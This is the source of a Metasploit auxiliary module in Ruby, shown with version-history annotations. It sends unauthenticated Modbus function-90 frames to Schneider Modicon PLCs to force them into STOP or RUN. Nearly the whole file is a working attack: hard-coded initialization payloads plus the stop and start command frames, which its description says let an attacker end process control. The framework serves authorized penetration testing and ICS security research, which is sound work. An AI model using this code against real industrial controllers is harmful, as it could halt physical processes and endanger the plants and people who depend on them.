metasploit-framework/modules/auxiliary/admin/scada/modicon_command.rb

183 lines
6.0 KiB
Ruby
Raw Normal View History

2013-03-07 00:18:32 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2013-03-07 00:18:32 +00:00
##
2012-04-05 17:35:21 +00:00
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Schneider Modicon Remote START/STOP Command',
'Description' => %q{
The Schneider Modicon with Unity series of PLCs use Modbus function
code 90 (0x5a) to perform administrative commands without authentication.
This module allows a remote user to change the state of the PLC between
STOP and RUN, allowing an attacker to end process control by the PLC.
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
This module is based on the original 'modiconstop.rb' Basecamp module from
DigitalBond.
},
'Author' =>
[
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
],
'DisclosureDate' => 'Apr 5 2012'
))
register_options(
[
OptEnum.new("MODE", [true, 'PLC command', "STOP",
[
"STOP",
"RUN"
]
]),
Opt::RPORT(502)
], self.class)
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
# this is used for building a Modbus frame
# just prepends the payload with a modbus header
def makeframe(packetdata)
if packetdata.size > 255
print_error("packet too large, sorry")
print_error("Offending packet: " + packetdata)
return
end
payload = ""
payload += [@modbuscounter].pack("n")
payload += "\x00\x00\x00" #dunno what these are
payload += [packetdata.size].pack("c") # size byte
payload += packetdata
end
2013-08-30 21:28:54 +00:00
# a wrapper just to be sure we increment the counter
def sendframe(payload)
sock.put(payload)
@modbuscounter += 1
r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do?
return r
end
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
# This function sends some initialization requests
# I have no idea what these do, but they seem to be
# needed to get the Modicon chatty with us.
# I would make some analogy to 'gaming' in the
# bar-dating scene, but I'll refrain.
def init
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00"
(0..0xf9).each { |x| payload += [x].pack("c") }
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
payload += "USER-714E74F21B" # Yep, really
#payload += "META-SPLOITMETA"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
end
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
def stop
payload = "\x00\x5a\x01\x41\xff\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
end
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
def start
payload = "\x00\x5a\x01\x40\xff\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
end
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
def run
@modbuscounter = 0x0000 # used for modbus frames
connect
init
case datastore['MODE']
when "STOP"
stop
when "RUN"
start
else
print_error("Invalid MODE")
return
end
end
2012-04-05 17:35:21 +00:00
end